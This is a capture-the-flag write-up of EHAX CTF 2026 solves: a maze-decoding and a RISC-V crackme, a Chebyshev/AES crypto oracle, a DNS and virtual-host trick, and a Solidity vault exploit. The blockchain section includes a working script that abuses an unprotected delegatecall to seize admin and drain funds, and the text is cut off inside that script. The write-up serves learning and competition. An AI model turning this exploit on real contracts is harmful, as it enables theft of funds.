hi everyone! I’m back with another CTF writeup. This time I participated in EHAX CTF 2026 and worked through a diverse set of challenges across multiple categories including Reverse Engineering, Crypto, Misc, Blockchain, Web, Pwn, and Forensics. The challenges ranged from binary reversing with radare2 to blockchain exploitation and VM-based pwn. Let me walk you through my solutions.
Reverse Engineering
Pathfinder
Category: Reverse Engineering
Flag: EHAX{2E3S2W6S8E2NE2S}
Challenge Description
You can go funky ways
Analysis
file "pathfinder"pathfinder: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=49d4c26d0aea83a8776dafd321a309b57fe2a66b, for GNU/Linux 4.4.0, strippedThe binary being a stripped PIE ELF told me I should expect minimal symbol help and runtime-resolved addresses, so I started by hunting high-signal constants and prompts before deep control-flow work.
strings -a "pathfinder" | rg -i "EHAX\{|pathfinder|best path|Flag"EHAX{
Are you a pathfinder?
Ok, tell me the best path:
You have what it takes. Flag: %sThat immediately confirmed two important things: the challenge was definitely expecting a path string as input, and the final formatter already hardcoded the event prefix.
r2 -e scr.color=0 -A -q -c 's 0x11ee;pdg' "pathfinder" | rg "for \(var_ch|0x2020|0x40a0|fcn\.000011c9|\*\(var_ch"for (var_ch = 0; var_ch < 100; var_ch = var_ch + 1) {
uVar1 = *(var_ch + 0x2020);
uVar2 = fcn.000011c9(var_ch);
*(var_ch + 0x40a0) = uVar1 ^ uVar2;r2 -e scr.color=0 -A -q -c 's 0x11c9;pdg' "pathfinder"uint32_t fcn.000011c9(int64_t arg1)
{
return arg1 << 3 ^ arg1 * 0x1f + 0x11U ^ 0xffffffa5;
}This was the first real click: a 100-byte blob from .rodata gets XOR-decoded with an index-dependent keystream into a 10x10 table at 0x40a0. So the “pathfinder” prompt is really a maze/graph walk checker backed by decoded cell metadata.
r2 -e scr.color=0 -A -q -c 's 0x1444;pdg' "pathfinder"bool fcn.00001444(char *arg1)
{
...
if (*var_18h == '\0') {
if ((var_28h == 9) && (var_24h == 9)) {
iVar8 = fcn.0000126b(arg1);
bVar9 = iVar8 == -0x7945adf4;
}
...
}
uVar3 = *(uVar1 * 0xc + 0x4120);
uVar2 = *(uVar1 * 0xc + 0x4128);
...
uVar4 = fcn.0000123f(var_28h,var_24h);
uVar5 = fcn.0000123f(uVar6,uVar7);
if ((uVar5 & (uVar1 * 'k' ^ var_4h._1_1_ ^ 0x3c)) == 0 &&
(uVar4 & (uVar1 * 'k' ^ var_4h ^ 0x3c)) == 0) {
return false;
}
...
}r2 -e scr.color=0 -A -q -c 's 0x1602;pdg' "pathfinder" | rg "EHAX\{|%d%c|var_14h < 2|\*s = cVar1|\*s = '\\}'|sprintf"iVar2 = sym.imp.sprintf(arg2,"EHAX{");
if (var_14h < 2) {
*s = cVar1;
iVar2 = sym.imp.sprintf(s,"%d%c",var_14h,cVar1);
*s = '}';From the validator, each character (N/S/E/W) selects a 12-byte movement descriptor from 0x4120, updates (x,y) accumulators, and checks movement legality with per-cell bitmasks. The end condition is exact: land on (9,9) and satisfy the hash gate. The formatter at 0x1602 run-length-encodes the successful raw path between EHAX{ and } (single chars stay literal, repeated runs become count+char).
# recover_path.py
from collections import deque
from pathlib import Path
blob = Path("pathfinder").read_bytes()[0x2020:0x2020 + 100]
def key(i: int) -> int:
return ((((i << 3) & 0xFFFFFFFF) ^ ((i * 0x1F + 0x11) & 0xFFFFFFFF) ^ 0xFFFFFFA5) & 0xFF)
grid = [b ^ key(i) for i, b in enumerate(blob)]
step = {
"N": (-1, 0, 0x04, 0x01),
"S": ( 1, 0, 0x01, 0x04),
"E": ( 0, 1, 0x02, 0x08),
"W": ( 0,-1, 0x08, 0x02),
}
def cell(r, c):
return grid[r * 10 + c]
def can_move(r, c, ch):
dr, dc, m_cur, m_next = step[ch]
nr, nc = r + dr, c + dc
if not (0 <= nr < 10 and 0 <= nc < 10):
return False
return not ((cell(nr, nc) & m_next) == 0 and (cell(r, c) & m_cur) == 0)
q = deque([(0, 0, "")])
seen = {(0, 0)}
while q:
r, c, p = q.popleft()
if (r, c) == (9, 9):
print("path", p)
break
for ch in "NSEW":
if can_move(r, c, ch):
dr, dc, _, _ = step[ch]
nr, nc = r + dr, c + dc
if (nr, nc) not in seen:
seen.add((nr, nc))
q.append((nr, nc, p + ch))# recover_path_runtime.py
from collections import deque
from pathlib import Path
b = Path("pathfinder").read_bytes()
enc = b[0x2020:0x2020 + 100]
def key(i: int) -> int:
return ((((i << 3) & 0xFFFFFFFF) ^ ((i * 0x1F + 0x11) & 0xFFFFFFFF) ^ 0xFFFFFFA5) & 0xFF)
grid = [c ^ key(i) for i, c in enumerate(enc)]
step = {
"N": (-1, 0, 0x04, 0x01),
"S": (1, 0, 0x01, 0x04),
"E": (0, 1, 0x02, 0x08),
"W": (0, -1, 0x08, 0x02),
}
def cell(r: int, c: int) -> int:
return grid[r * 10 + c]
def ok(r: int, c: int, ch: str) -> bool:
dr, dc, m0, m1 = step[ch]
nr, nc = r + dr, c + dc
if not (0 <= nr < 10 and 0 <= nc < 10):
return False
return not (((cell(nr, nc) & m1) == 0) and ((cell(r, c) & m0) == 0))
q = deque([(0, 0, "")])
seen = {(0, 0)}
while q:
r, c, p = q.popleft()
if (r, c) == (9, 9):
print("path", p)
break
for ch in "NSEW":
if ok(r, c, ch):
dr, dc, _, _ = step[ch]
nr, nc = r + dr, c + dc
if (nr, nc) not in seen:
seen.add((nr, nc))
q.append((nr, nc, p + ch))from collections import deque
from pathlib import Path
b = Path("pathfinder").read_bytes()
enc = b[0x2020:0x2020 + 100]
def key(i):
return ((((i << 3) & 0xffffffff) ^ ((i * 0x1f + 0x11) & 0xffffffff) ^ 0xffffffa5) & 0xff)
grid = [c ^ key(i) for i, c in enumerate(enc)]
step = {
"N": (-1, 0, 0x04, 0x01),
"S": (1, 0, 0x01, 0x04),
"E": (0, 1, 0x02, 0x08),
"W": (0, -1, 0x08, 0x02),
}
def cell(r, c): return grid[r * 10 + c]
def ok(r, c, ch):
dr, dc, m0, m1 = step[ch]; nr, nc = r + dr, c + dc
if not (0 <= nr < 10 and 0 <= nc < 10):
return False
return not (((cell(nr, nc) & m1) == 0) and ((cell(r, c) & m0) == 0))
q = deque([(0, 0, "")]); seen={(0,0)}
while q:
r,c,p=q.popleft()
if (r,c)==(9,9):
print("path",p)
break
for ch in "NSEW":
if ok(r,c,ch):
dr,dc,_,_=step[ch]
nr,nc=r+dr,c+dc
if (nr,nc) not in seen:
seen.add((nr,nc)); q.append((nr,nc,p+ch))path EESSSWWSSSSSSEEEEEEEENNESSOnce the BFS gave a single clean route to (9,9), that path was exactly what the checker wanted.

printf "y\nEESSSWWSSSSSSEEEEEEEENNESS\n" | ./pathfinderAre you a pathfinder?
[y/n]: Ok, tell me the best path: You have what it takes. Flag: EHAX{2E3S2W6S8E2NE2S}
Bye.The binary accepted the route and printed the final run-length encoded flag directly.
Solution
# solve.py
from collections import deque
from pathlib import Path
BINARY = "pathfinder"
OFFSET = 0x2020
SIZE = 100
def key(i: int) -> int:
return ((((i << 3) & 0xFFFFFFFF) ^ ((i * 0x1F + 0x11) & 0xFFFFFFFF) ^ 0xFFFFFFA5) & 0xFF)
def decode_grid() -> list[int]:
data = Path(BINARY).read_bytes()[OFFSET:OFFSET + SIZE]
return [b ^ key(i) for i, b in enumerate(data)]
def can_move(grid: list[int], r: int, c: int, d: str) -> tuple[bool, int, int]:
step = {
"N": (-1, 0, 0x04, 0x01),
"S": ( 1, 0, 0x01, 0x04),
"E": ( 0, 1, 0x02, 0x08),
"W": ( 0,-1, 0x08, 0x02),
}
dr, dc, m_cur, m_next = step[d]
nr, nc = r + dr, c + dc
if not (0 <= nr < 10 and 0 <= nc < 10):
return False, nr, nc
def cell(x: int, y: int) -> int:
return grid[x * 10 + y]
blocked = (cell(nr, nc) & m_next) == 0 and (cell(r, c) & m_cur) == 0
return (not blocked), nr, nc
def shortest_path(grid: list[int]) -> str:
q = deque([(0, 0, "")])
seen = {(0, 0)}
while q:
r, c, p = q.popleft()
if (r, c) == (9, 9):
return p
for d in "NSEW":
ok, nr, nc = can_move(grid, r, c, d)
if ok and (nr, nc) not in seen:
seen.add((nr, nc))
q.append((nr, nc, p + d))
raise RuntimeError("No valid path found")
def rle_path(path: str) -> str:
out = []
i = 0
while i < len(path):
j = i
while j < len(path) and path[j] == path[i]:
j += 1
run = j - i
if run == 1:
out.append(path[i])
else:
out.append(f"{run}{path[i]}")
i = j
return "".join(out)
def main() -> None:
grid = decode_grid()
path = shortest_path(grid)
print(f"EHAX{{{rle_path(path)}}}")
if __name__ == "__main__":
main()python3.12 solve.pyEHAX{2E3S2W6S8E2NE2S}i guess bro
Category: Reverse Engineering
Flag: EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}
Challenge Description
meh yet another crackme challenge
Analysis
file "chall"chall: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), statically linked, ... strippedchecksec "chall"Arch: riscv64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)The first pass showed a static, stripped RISC-V binary. Since qemu-riscv64 was not present in this environment, I treated it as a static reversing problem and leaned on r2 decompilation plus constant extraction instead of runtime execution.
strings -a "chall" | rg -i "I Guess Bro|Wrong length|Correct!|Flag: %s|EH4X\{"'I Guess Bro' - Hard Mode
Wrong length! Keep guessing...
Correct! You guessed it!
Flag: %s
EH4X{n0t_th3_r34l_fl4g}
EH4X{try_h4rd3r_buddy}Seeing two ready-made EH4X{...} candidates this early looked suspicious, and the challenge style screamed decoy checks.
r2 -e scr.color=0 -A -q -c "s 0x1037e; af; pdg" "chall" | rg "fcn.00010732|Wrong length|Correct!|Flag: %s|== 0x23|Input error"fcn.000151c4("Input error!");
if (iVar1 == 0x23) {
iVar1 = fcn.00010732(auStack_90);
fcn.000151c4("\n🎉 Correct! You guessed it!\n");
fcn.000110d4("Flag: %s\n",auStack_90);
fcn.000151c4("Wrong length! Keep guessing...");r2 -e scr.color=0 -A -q -c "s 0x10732; af; pdg" "chall" | rg "n0t_th3_r34l_fl4g|try_h4rd3r_buddy|Debugger detected|0xc351|fcn.000105cc|fcn.00010622|fcn.00010574|0x1fb53791|0xcab|-0x7e30f90b5f734a11"iVar1 = fcn.0001eaf0(param_1,"EH4X{n0t_th3_r34l_fl4g}");
iVar1 = fcn.0001eaf0(param_1,"EH4X{try_h4rd3r_buddy}");
if (iVar2 - iVar1 < 0xc351) {
iVar1 = fcn.000105cc(param_1);
if ((iVar1 != 0) && (iVar1 = fcn.00010622(param_1), iVar1 != 0)) {
iVar1 = fcn.00010574(param_1,0x23);
return iVar1 == -0x7e30f90b5f734a11;
}
fcn.000151c4("Debugger detected! Exiting...");That decompilation confirmed the trick: both visible flags are explicitly rejected first, then real validation happens through three helper checks. So the shortest path was to reverse those helpers and recover the expected 35-byte input directly.
r2 -e scr.color=0 -A -q -c "s 0x105cc; af; pdg" "chall" | rg "0x57bc8|0x57beb|\^ 0xa5|uVar4 = uVar4 \+ 7"puVar5 = 0x57bc8;
*puVar3 = uVar1 ^ uVar4 ^ 0xa5;
uVar4 = uVar4 + 7;
} while (puVar5 != 0x57beb);r2 -q -c "pxj 35 @ 0x57bc8" "chall"[224,234,159,232,194,255,191,225,194,253,150,219,130,141,244,168,138,166,179,20,93,105,77,53,126,105,76,123,19,90,20,23,40,113,54]# decode_table.py
data = [
224,234,159,232,194,255,191,225,194,253,150,219,130,141,244,168,138,
166,179,20,93,105,77,53,126,105,76,123,19,90,20,23,40,113,54
]
out = []
k = 0
for b in data:
out.append((b ^ k ^ 0xA5) & 0xFF)
k = (k + 7) & 0xFF
print(bytes(out).decode())data=[224,234,159,232,194,255,191,225,194,253,150,219,130,141,244,168,138,166,179,20,93,105,77,53,126,105,76,123,19,90,20,23,40,113,54]
out=[]
k=0
for b in data:
out.append((b^k^0xa5)&0xff)
k=(k+7)&0xff
print(bytes(out).decode())EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}The decoded string looked right, but I still verified it against every remaining constraint from fcn.00010622 and fcn.00010574 so it was not just a plausible-looking decode.
r2 -e scr.color=0 -A -q -c "s 0x10622; af; pdg" "chall" | rg "param_1\[0x22\] == 0x7d|iVar3 == 0xcab|0x3b9aca07|0x1fb53791|aiStack_18\[0\] = 5|aiStack_18\[5\] = 0x1e"((param_1[4] == 0x7b && (param_1[0x22] == 0x7d)))) {
if (iVar3 == 0xcab) {
aiStack_18[0] = 5;
aiStack_18[5] = 0x1e;
uVar5 = (param_1[iVar3] * uVar5) % 0x3b9aca07;
return uVar5 == 0x1fb53791;# verify_constraints.py
flag = b"EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}"
print("len", len(flag))
print("prefix", flag[:5] == b"EH4X{" and flag[0x22] == 0x7D)
print("sum", hex(sum(flag)))
idx = [5, 10, 15, 20, 25, 30]
mod = 0x3B9ACA07
prod = 1
for i in idx:
prod = (prod * flag[i]) % mod
print("prod", hex(prod))
def mix(x: int, i: int) -> int:
x = ((0x5851F42D4C957F2D >> (i & 0x3F)) ^ x) & 0xFFFFFFFFFFFFFFFF
return (((x >> 0x33) + ((x * 0x2000) & 0xFFFFFFFFFFFFFFFF)) ^ 0xEBFA848108987EB0) & 0xFFFFFFFFFFFFFFFF
x = 0xDEADBEEF
for i, b in enumerate(flag):
x = mix(x ^ ((b << ((i & 7) << 3)) & 0xFFFFFFFFFFFFFFFF), i)
print("hash", hex(x))
print("target", hex((-0x7E30F90B5F734A11) & 0xFFFFFFFFFFFFFFFF))flag=b'EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}'
print('len',len(flag))
print('prefix', flag[:5]==b'EH4X{' and flag[0x22]==0x7d)
print('sum', hex(sum(flag)))
idx=[5,10,15,20,25,30]
mod=0x3b9aca07
prod=1
for i in idx:
prod=(prod*flag[i])%mod
print('prod', hex(prod))
def mix(x,i):
x=((0x5851f42d4c957f2d >> (i & 0x3f)) ^ x) & 0xffffffffffffffff
return (((x >> 0x33) + ((x * 0x2000)&0xffffffffffffffff)) ^ 0xebfa848108987eb0) & 0xffffffffffffffff
x=0xdeadbeef
for i,b in enumerate(flag):
x=mix(x ^ ((b << ((i & 7)<<3)) & 0xffffffffffffffff), i)
print('hash', hex(x))
print('target', hex((-0x7e30f90b5f734a11) & 0xffffffffffffffff))len 35
prefix True
sum 0xcab
prod 0x1fb53791
hash 0x81cf06f4a08cb5ef
target 0x81cf06f4a08cb5efFinally I re-extracted from raw file bytes at the decoded table offset to make sure the recovered flag came straight from the challenge artifact, not from any decompiler artifact.

# extract_flag.py
from pathlib import Path
p = Path("/home/rei/Downloads/chall").read_bytes()
enc = p[0x47BC8:0x47BC8 + 35]
flag = bytes((b ^ ((i * 7) & 0xFF) ^ 0xA5) & 0xFF for i, b in enumerate(enc))
print(flag.decode())from pathlib import Path
p=Path('/home/rei/Downloads/chall').read_bytes()
enc=p[0x47bc8:0x47bc8+35]
flag=bytes((b ^ ((i*7)&0xff) ^ 0xa5) & 0xff for i,b in enumerate(enc))
print(flag.decode())EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}Solution
# solve.py
from pathlib import Path
def decode_flag(binary_path: str) -> str:
data = Path(binary_path).read_bytes()
enc = data[0x47BC8:0x47BC8 + 35]
out = bytes((b ^ ((i * 7) & 0xFF) ^ 0xA5) & 0xFF for i, b in enumerate(enc))
return out.decode()
if __name__ == "__main__":
print(decode_flag("chall"))python3.12 solve.pyEH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}Crypto
Killer Queen
Category: Crypto
Flag: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}
Challenge Description
She keeps her Moët et Chandon in her pretty cabinet.
Nothing she offers is accidental. Nothing she withholds is without reason.
Recommended at the price, insatiable an appetite — wanna try?
Analysis
unzip -l "Handout.zip"Archive: Handout.zip
...
Handout/Killer-Queen/Freddie.txt
Handout/Killer-Queen/Lyrics/ciggarettes.txt
Handout/Killer-Queen/Lyrics/dynamite.txt
Handout/Killer-Queen/Lyrics/fibonacci.txt
Handout/Killer-Queen/Lyrics/laserbeam.txt
Handout/Killer-Queen/Notes/antoinette.md
Handout/Killer-Queen/Notes/biography.md
Handout/Killer-Queen/Notes/curves.md
Handout/Killer-Queen/Notes/sheet_music.mdThe handout immediately looked like a guided crypto puzzle, with the notes explicitly pointing to Chebyshev composition and a two-layer lock. That matters because it shifts the approach from “break one huge primitive” to “recover the intended pipeline and replay it cleanly.”
rg -n "Chebyshev|T_m\(T_n\(x\)\)|first door|second door|SHA-256|unwrap|two voices|index" "/home/rei/Downloads/killerqueen_work/Handout/Killer-Queen".../Lyrics/fibonacci.txt:17: T_m(T_n(x)) = T_{m·n}(x)
.../Notes/sheet_music.md:58: ♩ The stream is locked behind two doors.
.../Notes/sheet_music.md:59: ♩ The first door opens with the index.
.../Notes/sheet_music.md:60: ♩ The second door is built in blocks
.../Notes/sheet_music.md:63: ♩ SHA-256 derives the second key
.../Notes/sheet_music.md:72:• The Queen speaks in two voices
.../Notes/sheet_music.md:81:You'll need to unwrap what's inside — twice.The service behavior matched those hints exactly: one query gives two related voice values for the same index, and public iv/ciphertext are fixed for that session.

printf '0\n1\n2\n3\n4\n5\nexit\n' | nc 20.244.7.184 7331...
p = 7073193951809819973664306187302601643156849222029017483853417297144476949947829139698672438579337709916095808633124126138796016767532929021864211602000001
v = 5587994941705590424272649068295916108274072829805484356511387258719009236678476179597670504915988561703594735329013208151470008715612024345889541886986304
iv = f9c60e2a62756a6ebcd59c589dfd61b6
ciphertext = ad218e83bffe076fbceeddc17f540cd3089e3c4e6309a0e63c7f7cbed1c8b0f9fd2aced60c79a00de855acb4d5047bcd
[20 left] q> pretty_cabinet = 1
moet_chandon = 1
[19 left] q> pretty_cabinet = 5587994941705590424272649068295916108274072829805484356511387258719009236678476179597670504915988561703594735329013208151470008715612024345889541886986304
moet_chandon = 6224016679887966716101625712054632071019252852377882598120412242331086101200983099281554722925606107557863470191553080919315116795993075331627024609220227
...From there the final solve path was to derive material from moet_chandon(q) in index order, decrypt the AES-CBC outer layer, unpad, then do the second unwrap as a blockwise XOR stream where each 16-byte block is SHA256(str(moet_chandon(i)))[:16]. I tried heavier DLP-centric routes first, but those dead ends were useful because they confirmed the challenge was more about composition and serialization correctness than defeating the largest subgroup factor.
python3.12 "/home/rei/Downloads/killerqueen_work/Handout/Killer-Queen/solve_killerqueen.py"[+] p bits: 512
[+] v: 11305618717155759150724013649828687503261898264977063258438514099154408236632078431105146562036594498971222989731073226625866287035766764084910955827909772
[+] iv: 83f4896579e6e4a8f29272ae5feef4ff
[+] ciphertext bytes: 48
[+] plaintext: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}
[+] FLAG: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}Running it against the real remote session verified the whole chain end-to-end and produced the real flag in plaintext.
Solution
# solve.py
import re
import socket
from hashlib import sha256
from Crypto.Cipher import AES
HOST = "20.244.7.184"
PORT = 7331
def must_match(pattern: str, data: str, flags: int = 0) -> re.Match[str]:
match = re.search(pattern, data, flags)
if match is None:
raise ValueError(f"pattern not found: {pattern}")
return match
def recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = b""
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data
def parse_public(blob: str):
p = int(must_match(r"^\s*p\s*=\s*(\d+)\s*$", blob, re.M).group(1))
v = int(must_match(r"^\s*v\s*=\s*(\d+)\s*$", blob, re.M).group(1))
iv = bytes.fromhex(must_match(r"^\s*iv\s*=\s*([0-9a-f]+)\s*$", blob, re.M).group(1))
ciphertext = bytes.fromhex(
must_match(r"^\s*ciphertext\s*=\s*([0-9a-f]+)\s*$", blob, re.M).group(1)
)
return p, v, iv, ciphertext
def parse_oracle_reply(blob: str):
pretty = int(must_match(r"pretty_cabinet\s*=\s*(\d+)", blob).group(1))
moet = int(must_match(r"moet_chandon\s*=\s*(\d+)", blob).group(1))
return pretty, moet
def pkcs7_unpad(data: bytes) -> bytes:
pad = data[-1]
if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
raise ValueError("invalid PKCS#7 padding")
return data[:-pad]
def main() -> None:
with socket.create_connection((HOST, PORT), timeout=10) as sock:
sock.settimeout(5)
banner = recv_until(sock, b"q> ").decode(errors="replace")
p, v, iv, ciphertext = parse_public(banner)
print(f"[+] p bits: {p.bit_length()}")
print(f"[+] v: {v}")
print(f"[+] iv: {iv.hex()}")
print(f"[+] ciphertext bytes: {len(ciphertext)}")
moet_values = {}
for q in range(1, 21):
sock.sendall(f"{q}\n".encode())
reply = recv_until(sock, b"q> ").decode(errors="replace")
if "yawns" in reply or "Goodbye" in reply:
break
_, moet = parse_oracle_reply(reply)
moet_values[q] = moet
outer_key = sha256(str(moet_values[1]).encode()).digest()[:16]
inner = AES.new(outer_key, AES.MODE_CBC, iv).decrypt(ciphertext)
inner = pkcs7_unpad(inner)
block_count = (len(inner) + 15) // 16
stream = b"".join(
sha256(str(moet_values[i]).encode()).digest()[:16]
for i in range(1, block_count + 1)
)
plaintext = bytes(a ^ b for a, b in zip(inner, stream)).decode(errors="replace")
flag_match = re.search(r"EH4X\{[^}]+\}", plaintext)
if flag_match is None:
raise RuntimeError(f"flag not found in plaintext: {plaintext!r}")
print(f"[+] plaintext: {plaintext}")
print(f"[+] FLAG: {flag_match.group(0)}")
if __name__ == "__main__":
main()python3.12 solve.py[+] p bits: 512
[+] v: 11305618717155759150724013649828687503261898264977063258438514099154408236632078431105146562036594498971222989731073226625866287035766764084910955827909772
[+] iv: 83f4896579e6e4a8f29272ae5feef4ff
[+] ciphertext bytes: 48
[+] plaintext: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}
[+] FLAG: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}Misc
I can also do it
Category: Misc
Flag: EH4X{1_h4v3_4ll_th3_c3t1f1c4t35}
Challenge Description
yeah i can do it
Analysis
dig +short stapat.xyz A
dig +short stapat.xyz AAAA
dig +short @1.1.1.1 stapat.xyz A
dig +short @1.1.1.1 stapat.xyz AAAA0.0.0.0
::
40.81.242.97The first weird signal was DNS split behavior: local resolution for stapat.xyz was a sink (0.0.0.0 / ::), but Cloudflare DoH returned a real origin IPv4. That explained why direct curl from this environment looked dead while a normal browser path still worked elsewhere.

curl -sS -L --doh-url "https://1.1.1.1/dns-query" -A "Mozilla/5.0" -i "https://stapat.xyz/"HTTP/1.1 200 OK
...
<p>Please visit our stores</p>After forcing DNS-over-HTTPS, the page rendered cleanly and the only actionable clue was the sentence “Please visit our stores.” In a Misc challenge with a tiny prompt, that kind of wording is usually the actual route, not filler text.
curl -sS -k -L --resolve "store.stapat.xyz:443:40.81.242.97" -A "Mozilla/5.0" -i "https://store.stapat.xyz/"HTTP/1.1 200 OK
...
EH4X{1_h4v3_4ll_th3_c3t1f1c4t35}Using SNI/Host override with --resolve hit the virtual host directly and immediately returned the flag as plain text. So the whole trick was certificate/vhost routing behind DNS behavior, not user-agent filtering.

Solution
# solve.py
import re
import subprocess
def run(cmd: list[str]) -> str:
return subprocess.check_output(cmd, text=True)
def main() -> None:
ip = run(["dig", "+short", "@1.1.1.1", "stapat.xyz", "A"]).strip().splitlines()[0]
homepage = run([
"curl", "-sS", "-L",
"--doh-url", "https://1.1.1.1/dns-query",
"-A", "Mozilla/5.0",
"https://stapat.xyz/",
])
if "Please visit our stores" not in homepage:
raise RuntimeError("expected clue not found on homepage")
store = run([
"curl", "-sS", "-k", "-L",
"--resolve", f"store.stapat.xyz:443:{ip}",
"-A", "Mozilla/5.0",
"https://store.stapat.xyz/",
])
match = re.search(r"EH4X\{[^}]+\}", store)
if match is None:
raise RuntimeError("flag not found")
print(match.group(0))
if __name__ == "__main__":
main()python3.12 solve.pyEH4X{1_h4v3_4ll_th3_c3t1f1c4t35}Blockchain
heist v1
Category: Blockchain
Flag: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}
Challenge Description
the government has released a new vault and now we can add proposals too , what?? , drain the VAULT
Analysis
from pathlib import Path
print('--- Governance.sol ---')
print(Path('/home/rei/Downloads/Governance.sol').read_text())
print('--- Vault.sol ---')
print(Path('/home/rei/Downloads/Vault.sol').read_text())--- Governance.sol ---
contract Governance {
uint256 public proposalCount;
function setProposal(uint256 x) public {
proposalCount = x;
}
}
--- Vault.sol ---
contract Vault {
bool public paused;
uint248 public fee;
address public admin;
address public governance;
...
function execute(bytes calldata data) public {
(bool ok,) = governance.delegatecall(data);
require(ok);
}
function withdraw() public {
require(!paused, "paused");
require(msg.sender == admin, "not admin");
payable(msg.sender).transfer(address(this).balance);
}
function setGovernance(address _g) public {
governance = _g;
}
}The whole bug is visible in plain Solidity: setGovernance has no access control, and execute does a raw delegatecall into whatever address was just set. Because delegatecall runs in the caller’s storage context, this is effectively “let attacker run arbitrary storage writes inside Vault.” The storage layout is also favorable: slot 0 contains paused/fee, slot 1 is admin, and slot 2 is governance, so a tiny attacker contract can write slot 1 to CALLER and slot 0 to 0, which makes paused = false and admin = player in one shot.
That was one of those suspiciously short blockchain solves where the exploit primitive is cleaner than expected.

python3.12 /home/rei/Downloads/solve_heist_v1.pyRPC URL : http://135.235.193.111:38075
Vault : 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Governance : 0x5FbDB2315678afecb367f032d93F642f64180aa3
...
[+] vault balance before: 5000000000000000000
[+] admin before: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
[+] paused before: True
[+] admin after delegatecall: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
[+] paused after delegatecall: False
[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}The exploit script connected to the launcher, parsed instance details, deployed a minimal bytecode contract that stores CALLER into slot 1 and zero into slot 0, repointed governance with setGovernance(attacker), and triggered execute("") so the delegatecall mutated Vault state. After that, withdraw() succeeded from the player account and drained all 5 ETH from the challenge vault. The launcher’s Check solved path returned the real event flag, confirming the state transition and win condition were genuinely satisfied on the remote instance.
Solution
# solve.py
import re
import time
from eth_account import Account
from pwn import remote
from web3 import Web3
VAULT_ABI = [
{
"inputs": [{"internalType": "address", "name": "_g", "type": "address"}],
"name": "setGovernance",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
},
{
"inputs": [{"internalType": "bytes", "name": "data", "type": "bytes"}],
"name": "execute",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
},
{
"inputs": [],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
},
{
"inputs": [],
"name": "getBalance",
"outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "admin",
"outputs": [{"internalType": "address", "name": "", "type": "address"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "paused",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [],
"name": "isSolved",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
"stateMutability": "view",
"type": "function",
},
]
def parse_instance(text: str):
rpc = re.search(r"RPC URL\s*:\s*(\S+)", text)
vault = re.search(r"Vault\s*:\s*(0x[a-fA-F0-9]{40})", text)
pk = re.search(r"Player Private Key:\s*\n(0x[a-fA-F0-9]+)", text)
if not (rpc and vault and pk):
raise RuntimeError("failed to parse instance details")
return rpc.group(1), Web3.to_checksum_address(vault.group(1)), pk.group(1)
def wait_rpc_ready(w3: Web3, retries: int = 20):
for _ in range(retries):
try:
_ = w3.eth.chain_id
return
except Exception:
time.sleep(0.25)
raise RuntimeError("rpc not reachable")
def main():
io = remote("135.235.193.111", 1337)
io.timeout = 5
banner = io.recvuntil(b"> ").decode(errors="ignore")
print(banner, end="")
rpc_url, vault_addr, player_pk = parse_instance(banner)
w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={"timeout": 8}))
wait_rpc_ready(w3)
acct = Account.from_key(player_pk)
sender = acct.address
chain_id = w3.eth.chain_id
gas_price = w3.eth.gas_price
nonce = w3.eth.get_transaction_count(sender)
def send(tx):
nonlocal nonce
tx.setdefault("chainId", chain_id)
tx.setdefault("nonce", nonce)
tx.setdefault("gasPrice", gas_price)
tx.setdefault("value", 0)
tx.setdefault("gas", 300000)
signed = Account.sign_transaction(tx, player_pk)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
nonce += 1
if receipt.status != 1:
raise RuntimeError(f"tx failed: {tx_hash.hex()}")
return receipt
runtime = "33600155600060005500"
init_code = "0x600a600c600039600a6000f3" + runtime
deploy_receipt = send({"data": init_code, "gas": 200000})
attacker = deploy_receipt.contractAddress
print(f"[+] attacker contract: {attacker}")
vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)
print(f"[+] vault balance before: {vault.functions.getBalance().call()}")
print(f"[+] admin before: {vault.functions.admin().call()}")
print(f"[+] paused before: {vault.functions.paused().call()}")
tx = vault.functions.setGovernance(attacker).build_transaction(
{"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
)
send(tx)
tx = vault.functions.execute(b"").build_transaction(
{"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
)
send(tx)
print(f"[+] admin after delegatecall: {vault.functions.admin().call()}")
print(f"[+] paused after delegatecall: {vault.functions.paused().call()}")
